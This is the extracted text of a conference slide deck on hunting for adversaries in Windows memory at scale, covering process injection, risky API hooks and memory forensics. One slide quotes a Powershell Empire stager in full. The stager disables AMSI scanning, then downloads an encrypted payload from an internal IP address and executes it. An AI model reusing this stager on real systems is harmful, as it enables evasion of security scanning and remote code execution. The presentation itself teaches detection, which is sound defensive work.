Cyber Threat Hunting - Hunting in Memory at Scale

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Join Chris Gerritz and Russ Morris—co-founders of Infocyte—for an in-depth presentation on cyber threat hunting in memory, at scale. Overview: - Background: Windows Internals - Adversary Techniques: Hiding in Memory - Memory Forensics (Threat Hunting in Live Memory) - Live Memory Analysis at Scale - Going Further Down the Rabbit Hole... This presentation originally appeared at the Texas Cyber Summit in San Antonio. A full-length video of the presentation is available on YouTube, at: https://www.youtube.com/watch?v=5s4p1gz2Fho

Logiciels

Microsoft Windows Host
API / Functions
Firmware
Hardware
Application
User-mode
API
Volatile MemoryNon-Volatile
Storage
Disk
OS Kernel
Registry
Volatile
Memory
Drivers
Process 1
Process 2
Process 3
Process Memory (notepad.exe)
Modules Modules map to an
image on disk
C:windowssystem32
notepad.exe
C:windowssystem32
kernel32.dll
User32.dll
Main
Kernel32.dll
CPU Threads
Handles
Stack
Heap
Connections
C:asdf.txt
Handle 1
Data (RW)
Injected Module
(RWX or
RX)
Environment
API / Functions
Kernel-mode
API

Explorer.exe
BadGuy.ps1 MZ... (code)
Start Remote
Thread
1
2
3
1

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-
-
Some Risky Windows API Hooks
• Hiding Registry Keys: RedQueryEx, RegOpenKeyEx, RegOpenKeyEx
• Hiding Artifacts: OpenFile
• Hiding/Manipulating Web interactions: InternetOpen,
HttpOpenRequest, HttpSendRequest, InternetReadFile, connect

Cyber Threat Hunting - Hunting in Memory at Scale

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Cyber Threat Hunting - Hunting in Memory at Scale

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5. Microsoft Windows Host API / Functions Firmware Hardware Application User-mode API Volatile MemoryNon-Volatile Storage Disk OS Kernel Registry Volatile Memory Drivers Process 1 Process 2 Process 3 Process Memory (notepad.exe) Modules Modules map to an image on disk C:windowssystem32 notepad.exe C:windowssystem32 kernel32.dll User32.dll Main Kernel32.dll CPU Threads Handles Stack Heap Connections C:asdf.txt Handle 1 Data (RW) Injected Module (RWX or RX) Environment API / Functions Kernel-mode API

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9. Explorer.exe BadGuy.ps1 MZ... (code) Start Remote Thread 1 2 3 1

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11. [REf].ASseMbLY.GetTyPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.G ETFIelD('amsiInitFailed','NonPublic,Static').SetVAlUe($NUlL,$trUE)};[SYStEM.NeT.SE RvICePOINtManAGER]::EXPeCT100CONTiNUe=0;$Wc=NEW-OBJECT SYsTEM.Net.WebCLIeNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeAdERs.AdD('User-Agent',$u);$wC.PRoXy=[SyStem.NeT.WeBReQUes t]::DEfaultWeBProxY;$WC.PROXy.CReDenTIaLS = [SysTEM.NeT.CRedeNtIALCacHE]::DefaultNEtworKCrEdeNTIALs;$K=[SYstem.TEXt. EnCODiNG]::ASCII.GeTByteS('5f4dcc3b5aa765d61d8327deb882cf99');$R={$D,$K=$ ArgS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COunt])%256;$S[$_],$S[$J]=$S[ $J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$ _-BxOr$S[($S[$I]+$S[$H])%256]}};$WC.HEADerS.ADd("Cookie","session=q97BD6ePl Rr29wDQRml/GehX/2Q=");$ser='http://172.16.33.113:80';$t='/news.php';$dAta=$WC. DownlOadDAta($ser+$T);$iV=$DatA[0..3];$daTa=$Data[4..$DAtA.LENgTH];-jOIn[ChA r[]](& $R $DatA ($IV+$K))|IEX powershell -noP -sta -w 1 -enc WwBSAEUAZgBdAC4AQQBTAHMAZQBNAGIATABZAC4ARwBlAHQAVAB5AF AAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgB... ● ● Example: AMSI bypass from Powershell Empire used to load another module.

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14. Explorer.exe MZ... (code)

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27. - - Some Risky Windows API Hooks • Hiding Registry Keys: RedQueryEx, RegOpenKeyEx, RegOpenKeyEx • Hiding Artifacts: OpenFile • Hiding/Manipulating Web interactions: InternetOpen, HttpOpenRequest, HttpSendRequest, InternetReadFile, connect

Cyber Threat Hunting - Hunting in Memory at Scale

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